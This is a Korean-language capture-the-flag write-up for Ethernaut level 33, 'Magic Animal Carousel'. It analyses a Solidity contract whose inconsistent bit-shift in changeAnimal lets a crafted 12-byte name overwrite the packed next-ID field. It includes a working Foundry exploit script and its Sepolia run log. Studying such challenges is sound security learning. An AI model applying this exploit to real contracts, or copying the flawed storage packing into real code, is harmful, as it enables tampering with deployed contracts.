Solidity/Hacking 약 8분

[Ethernaut] 33. Magic Animal Carousel

1. 문제

Welcome, dear Anon, to the Magic Carousel, where creatures spin and twirl in a boundless spell. In this magical, infinite digital wheel, they loop and whirl with enchanting zeal.

Add a creature to join the fun, but heed the rule, or the game’s undone. If an animal joins the ride, take care when you check again, that same animal must be there!

Can you break the magic rule of the carousel?

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract MagicAnimalCarousel {
    uint16 constant public MAX_CAPACITY = type(uint16).max;
    uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
    uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
    uint256 constant OWNER_MASK = uint256(type(uint160).max);

    uint256 public currentCrateId;
    mapping(uint256 crateId => uint256 animalInside) public carousel;

    error AnimalNameTooLong();
    error CrateNotInitialized();

    constructor() {
        carousel[0] ^= 1 << 160;
    }

    function setAnimalAndSpin(string calldata animal) external {
        uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
        uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

        require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
        carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
            | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

        currentCrateId = nextCrateId;
    }

    function changeAnimal(string calldata animal, uint256 crateId) external {
        uint256 crate = carousel[crateId];
        require(crate != 0, CrateNotInitialized());
        
        address owner = address(uint160(crate & OWNER_MASK));
        if (owner != address(0)) {
            require(msg.sender == owner);
        }
        uint256 encodedAnimal = encodeAnimalName(animal);
        if (encodedAnimal != 0) {
            // Replace animal
            carousel[crateId] =
                (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
        } else {
            // If no animal specified keep same animal but clear owner slot
            carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
        }
    }

    function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
        require(bytes(animalName).length <= 12, AnimalNameTooLong());
        return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
    }
}

2. 문제 해결 조건 확인

 어린이들의 꿈과 희망이 돌아가는 회전목마를 박살 내는 것이 이번 문제를 해결하기 위한 목표입니다. 내키지는 않지만, 그것이 대의를 위한 것이라면 어찌할 수 없이 손에 피를 묻힐 각오를 해야겠지요…

 보아하니 현재 회전목마는 비어있는 상태고 원하는 동물을, 어떤 동물이든 무한하게 직접 등록할 수 있는 매지컬 회전목마인 것 같습니다. 그리고 한 번 동물이 추가되고 나면 그 자리는 `changeAnimal`을 통해 변경만 가능하지 `setAnimalAndSpin`으로 새로운 동물로 덮어쓰는 것은 규칙 위반인 것으로 보입니다. 그렇다면 기꺼이 규칙을 깨뜨려야겠지요.

3. 단서 찾기

단서 1: 상수의 용도

 우선은 이 상수들이 무엇을 의미하는지 한 번 확인해 볼 필요가 있습니다.

uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << (160 + 16);
uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
uint256 constant OWNER_MASK = uint256(type(uint160).max);

 **_MASK 상수들은 비트마스킹 연산을 위해 정의된 값들입니다. EVM의 하나의 스토리지 슬롯은 32 바이트 크기로 구성이 되는데, 동물 이름, 다음 id, 소유자를 각각 다른 슬롯에 저장하려면 총 3개의 스토리지 슬롯 - 96 바이트가 필요합니다. 그런데 아래 그림처럼 세 개의 데이터를 32 바이트로 압축하여 저장하면 저장 공간도 효율적으로 관리하고 읽기/쓰기 비용도 절감할 수 있습니다. 그리고 uint256 타입이 bytes32 타입이랑 동일한 크기라는 것은 자명한 사실이죠.

data packing

 비트 마스킹은 대략적으로 아래 그림처럼 이루어집니다. AND 연산으로 32 바이트 크기의 어떤 값과 ANIMAL_MASK에 비트 연산을 적용하면 32 바이트 값의 상위 10 바이트만 남고 하위 22 바이트는 0이 됩니다. 이렇게 동물 이름, 다음 id, 소유자 값에 각각의 마스크를 적용한 뒤, 결괏값들을 OR 연산으로 연결하면 하나의 32 바이트 값으로 압축하여 저장할 수 있게 됩니다. 실제로 어떻게 압축되는지는 단서 2에서 살펴볼게요.

bit masking

 그리고 이렇게 압축된 값은 크레이트 id와 매핑되어 회전목마에 저장됩니다.

mapping(uint256 crateId => uint256 animalInside) public carousel;

단서 2: 동물 추가

 이제 원하는 동물을 회전목마에 추가하는 방법을 살펴보겠습니다. 그런데 그전에 현재 크레이트 id와 생성자에서 어떤 밑작업이 이루어졌는지 살펴보죠.

 스마트 컨트랙트가 배포될 때 currentCrateId는 0으로 초기화가 되었습니다. 그리고 회전목마의 0번 크레이트와 매핑된 uint256 타입의 초기값 - 당연히 0이 될 것이고, 이 0과 1을 왼쪽으로 160 비트만큼 시프트 한 값을 XOR 연산한 값을 0번 크레이트에 저장하고 있군요.

uint256 public currentCrateId;

constructor() {
    carousel[0] ^= 1 << 160;
}

1을 160 비트만큼 왼쪽으로 시프트 했으니 161번째 비트에 1이 저장될 것이고, 이 위치는 다음 id를 가리키는 값의 시작 위치로 연결됩니다. 그럼 대충 아래와 같은 그림이 되겠군요. 0번 크레이트는 오직 다음 크레이트 id를 가리키고 있으며 다른 정보는 담겨있지 않은 상태입니다. 

 이 상태에서 새로운 동물로 ‘doge’를 등록해 보겠습니다. animal이라는 파라미터로 “doge”를 전달해 보죠.

function setAnimalAndSpin(string calldata animal) external {
    uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
    uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

    require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
    carousel[nextCrateId] =
        ((carousel[nextCrateId] & ~NEXT_ID_MASK) ^
            (encodedAnimal << (160 + 16))) |
        (((nextCrateId + 1) % MAX_CAPACITY) << 160) |
        uint160(msg.sender);

    currentCrateId = nextCrateId;
}

 그럼 가장 우선적으로 `encodeAnimalName` 함수를 호출하여 “doge”를 다음 순서로 uint256 타입으로 인코딩합니다.

  1. 문자열을 바이트열로 변환하여 길이를 체크합니다. 12 바이트보다 길면 트랜잭션이 revert 됩니다.
  2. 문자열을 abi.encodePacked로 패딩 없이 바이트열로 변환한 뒤, 바이트열을 bytes32 타입으로 캐스팅합니다. 앞서 12 바이트로 문자열의 길이가 제한되었으므로 32 - 문자열의 바이트 크기만큼의 zero padding이 뒤에 추가된 채로 bytes32 값으로 변환될 것입니다.
  3. 그리고 이 값을 오른쪽으로 160 비트만큼 시프트 한 뒤, uint256 타입으로 캐스팅합니다.
function encodeAnimalName(
    string calldata animalName
) public pure returns (uint256) {
    require(bytes(animalName).length <= 12, AnimalNameTooLong());
    return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
}
string memory animal = "doge";
bytes32 animalHash = bytes32(abi.encodePacked(animal));
bytes32 shiftedAnimalHash = animalHash >> 160;
uint256 encodedAnimal = uint256(shiftedAnimalHash);

console.logBytes32(animalHash); // 0x646f676500000000000000000000000000000000000000000000000000000000
console.logBytes32(shiftedAnimalHash); // 0x0000000000000000000000000000000000000000646f67650000000000000000
console.log(encodedAnimal); // 31083180014980617728992215040

 그런데 조금 이상하죠. 분명 동물 이름은 상위 10바이트만 사용할 수 있을 텐데 왜 12바이트 길이로 제한해 두었을까요? 그런데 `encodeAnimalName`을 실행한 뒤에 인코딩 된 값을 최종적으로 오른쪽으로 16비트만큼 시프트 해주고 있긴 합니다. 그러면 encodedAnimal의 최대 크기는 10바이트로 제한되게 됩니다. 왜 이렇게 헷갈리게 해 놨을까 죠?

uint256 encodedAnimal = encodeAnimalName(animal) >> 16;

 다음은 다음 크레이트의 id를 계산해야 합니다. currentCrateId(0)에 저장된 값, 일전에 생성자에서 초기화된 1 << 160을 가져와서 NEXT_ID_MASK와 AND 연산을 실행, 이어서 오른쪽으로 160 비트 시프트 연산을 실행합니다. 이렇게 되면 2바이트 크기의 값만 남게 되고, nextCrateId의 실제 값은 1이 되겠군요. 0 다음은 1. 순차적으로 증가하나 봅니다.

uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

 그다음은 인코딩 된 동물 이름의 크기가 uint80 타입이 가질 수 있는 최댓값보다 작거나 같은지 확인합니다. 앞서 인코딩 된 동물 이름을 오른쪽으로 16비트만큼 시프트 해줬으니 이 부분은 당연히 통과가 되겠죠.

require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());

 그리고 최대 고비 등장. 앞에서부터 차례대로 살펴봅시다.

carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
            | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

 우선 nextCrateId(1)에 저장된 값, 현재로서는 아무 값도 저장되어 있지 않으니 0이 되겠지요. 그 값과 NEXT_ID_MASK의 1과 0을 뒤집은 값에 AND 연산을 적용합니다. 그럼 그냥 0이 되겠군요.

(carousel[nextCrateId] & ~NEXT_ID_MASK)
// 0x0000000000000000000000000000000000000000000000000000000000000000

 encodedAnimal을 왼쪽으로 176 비트 - 22 바이트만큼 시프트 하여 동물 이름 자리에 맞춘 뒤, 0과 xor연산을 해줍니다. 그럼 동물 이름 자리에 딱 들어맞겠군요.

0x0000...0000 ^ (encodedAnimal << 160 + 16)

 이어서 nextCrateId + 1 = 2를 MAX_CAPACITY로 나눈 나머지를 왼쪽으로 160비트 시프트 해준 값을 OR 연산으로 연결해 줍니다. 다음 id 자리에 딱 들어가겠군요. 근데 MAX_CAPACITY가 유한하고 이를 나머지를 구하는데 사용하고 있는 것을 보니, 회전목마가 무한히 동물을 추가할 수 있는 구조가 아닌 것으로 판명이 되었습니다! 이미 사용된 크레이트 id를 다시 가리키도록 할 수 있는 방법이 있는지 찾아봐야겠군요.

uint16 public constant MAX_CAPACITY = type(uint16).max;
(0x동물이름 10 바이트 + 0000...0000) | ((nextCrateId + 1) % MAX_CAPACITY) << 160

 마지막으로 함수를 호출한 sender의 주소 20바이트를 uint160 타입으로 캐스팅하여 앞에서 계산된 값과 OR 연산으로 연결하고 있습니다.

0x(동물 이름 10 바이트 + 다음 id 2바이트 + 00...00) | uint160(msg.sender)

 이렇게 계산된 값은 1번 크레이트에 저장되고, currentCrateId가 1로 갱신됩니다.

carousel[nextCrateId] = 0x(동물 이름 10 바이트 + 다음 id 2 바이트 + owner 20 바이트);
currentCrateId = nextCrateId;

 여기까지 구도는 아래와 같습니다.

 아직 회전목마를 박살낼 단서는 불충분하지만, 회전목마가 무한히 동물을 추가할 수 있는 구조가 아니며 순환한다는 것을 확인할 수 있었습니다.

단서 3: 동물 이름 변경

 변경할 동물 이름과 크레이트 id를 파라미터로 전달해 줍니다. 이때 지정된 크레이트는 반드시 이전에 한 번은 초기화가 되어있어야만 합니다.

function changeAnimal(string calldata animal, uint256 crateId) external
uint256 crate = carousel[crateId];
require(crate != 0, CrateNotInitialized());

 그리고 함수를 호출한 sender가 크레이트를 생성한 owner인지를 체크해주고 있습니다. 여기까지는 별 거 없네요.

address owner = address(uint160(crate & OWNER_MASK));
if (owner != address(0)) {
    require(msg.sender == owner);
}

 동물 이름을 uint256 타입으로 인코딩해줍니다. encodedAnimal이 0이면 크레이트에서 owner만 제거하고 기존의 동물 이름과 다음 id 값은 그대로 유지를 하는군요.

uint256 encodedAnimal = encodeAnimalName(animal);
if (encodedAnimal != 0) {
    // Replace animal
    carousel[crateId] =
        (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
} else {
    // If no animal specified keep same animal but clear owner slot
    carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
}

encodedAnimal이 0이 아니면 동물을 변경해 줍니다. 그런데 값을 압축하는 방식이 새로운 동물을 추가할 때와 사뭇 달라 보입니다.

// Replace animal
carousel[crateId] =
    (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);

 인코딩 된 동물 이름을 오른쪽으로 16 비트 시프트하는 연산도 빠져있고, 크레이트에 저장된 값을 업데이트할 때 encodedAnimal을 왼쪽으로 160 비트만 시프트해줍니다. 이렇게 되면 encodedAnimal은 161번째 비트부터 256번째 비트까지 12 바이트를 차지하게 됩니다. 161번째 비트부터 176번째 비트까지는 다음 id가 저장되어야 할 위치인데, 이 값을 덮어씌울 수가 있네요!

uint256 encodedAnimal = encodeAnimalName(animal) >> 16;

...

carousel[nextCrateId] = ... ^ (encodedAnimal << 160 + 16)
            | ...;

 크레이트 id가 가질 수 있는 최댓값은 type(uint16).max = 65535(0xffff) 입니다. 동물 이름을 적절하게 집어넣어서 1번 다음 id를 65535로 덮어씌우도록 크레이트를 업데이트하면 다음과 같은 그림이 그려질 것입니다.

 그리고 회전목마에 pingu를 새로 등록하면 다음과 같은 그림이 그려집니다. pingu는 65535번 크레이트에 추가되고, 다음 크레이트 id는 (65535 + 1) % 65535 = 1번을 가리키게 됩니다. 이 상태에서 새로운 동물을 추가하려고 하면 이미 초기화된 상태인 1번 크레이트를 건드리게 되므로 회전목마가 초전박살이 나게 되겠습니다.

4. 공격

등록 - 변경 - 등록 순서로 트랜잭션을 실행해줘야 하는데, 등록 단계에서는 어떤 동물 이름을 사용하든 상관은 없습니다. 중요한 것은 변경 단계. 하지만 이마저도 그다지 어렵지 않습니다. 다음 id를 65535(0xffff)로 덮어씌우기 위해 전체 12바이트 중 마지막 4바이트만 0xffff로 고정해 주고, 동물 이름 길이를 12바이트로 적당히 맞춰주기만 하면 됩니다.

string memory newAnimal = string(abi.encodePacked(hex"10000000000000000000ffff"));

스크립트 작성

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {MagicAnimalCarousel} from "src/33.MagicAnimalCarousel.sol";

contract MagicAnimalCarouselScript is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        address instanceAddr = 0x51d98668EF1db7dAa119FA440Ff0e4488CB67217;

        MagicAnimalCarousel carousel = MagicAnimalCarousel(instanceAddr);

        carousel.setAnimalAndSpin("doge");

        string memory newAnimal = string(
            abi.encodePacked(hex"10000000000000000000ffff")
        );

        carousel.changeAnimal(newAnimal, 1);

        carousel.setAnimalAndSpin("pingu");

        uint256 currentCrateId = carousel.currentCrateId();
        console.log("Current Crate Id:", currentCrateId); // should be 65535

        uint256 nextCrateId = (carousel.carousel(currentCrateId) &
            (uint256(type(uint16).max) << 160)) >> 160;
        console.log("Next Crate Id:", nextCrateId); // should be 1

        vm.stopBroadcast();
    }
}

스크립트 실행

forge script script/33.MagicAnimalCarousel.s.sol --account dev --sender 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF --rpc-url sepolia --slow -vvvv --br
oadcast
[⠊] Compiling...
No files changed, compilation skipped
Traces:
  [87021] MagicAnimalCarouselScript::run()
    ├─ [0] VM::startBroadcast()
    │   └─ ← [Return]
    ├─ [47528] 0x51d98668EF1db7dAa119FA440Ff0e4488CB67217::setAnimalAndSpin("doge")
    │   └─ ← [Stop]
    ├─ [1374] 0x51d98668EF1db7dAa119FA440Ff0e4488CB67217::changeAnimal("\u{10}\0\0\0\0\0\0\0\0\0��", 1)
    │   └─ ← [Stop]
    ├─ [23628] 0x51d98668EF1db7dAa119FA440Ff0e4488CB67217::setAnimalAndSpin("pingu")
    │   └─ ← [Stop]
    ├─ [283] 0x51d98668EF1db7dAa119FA440Ff0e4488CB67217::currentCrateId() [staticcall]
    │   └─ ← [Return] 65535 [6.553e4]
    ├─ [0] console::log("Current Crate Id:", 65535 [6.553e4]) [staticcall]
    │   └─ ← [Stop]
    ├─ [446] 0x51d98668EF1db7dAa119FA440Ff0e4488CB67217::carousel(65535 [6.553e4]) [staticcall]
    │   └─ ← [Return] 50845319964421757656172259698702660679103998389198065974600917212587641034735 [5.084e76]
    ├─ [0] console::log("Next Crate Id:", 1) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::stopBroadcast()
    │   └─ ← [Return]
    └─ ← [Stop]

Script ran successfully.

== Logs ==
  Current Crate Id: 65535
  Next Crate Id: 1
  
...

##### sepolia
✅  [Success] Hash: 0x1ad38b31ac05daa48d99b957bfb2e7f1f2aeb88b7c8b7c9c1c10107fb27fac89
Block: 9365647
Paid: 0.000000069051728592 ETH (69048 gas * 0.001000054 gwei)

##### sepolia
✅  [Success] Hash: 0x145bbc86dfa9e59a469a5ad76b2c7a1363ed0baa376d41bbd4426fa863395560
Block: 9365648
Paid: 0.000000027823446744 ETH (27822 gas * 0.001000052 gwei)

##### sepolia
✅  [Success] Hash: 0xd1a4fa42bef3e0959327f1d58a2b19498d268a20c07e6920d8b60538df1aaf98
Block: 9365649
Paid: 0.0000000519628578 ETH (51960 gas * 0.001000055 gwei)

✅ Sequence #1 on sepolia | Total Paid: 0.000000148838033136 ETH (148830 gas * avg 0.001000053 gwei)

제출

오늘의 교훈

 일관성. encodedAnimal을 계산할 때 미리 160 비트가 아닌 176 비트만큼 시프트 연산을 적용했으면 어땠을까 하는 생각이 듭니다. 이번 문제는 뭔가 백준 알고리즘, 그중에서도 비트 마스킹 문제 푸는 느낌인데, 이런 문제는 항상 첫 대면에는 복잡하고 어려워 보이지만, 찬찬히 살펴보면 그다지 어렵지 않은 게 문제이군요.

전체 코드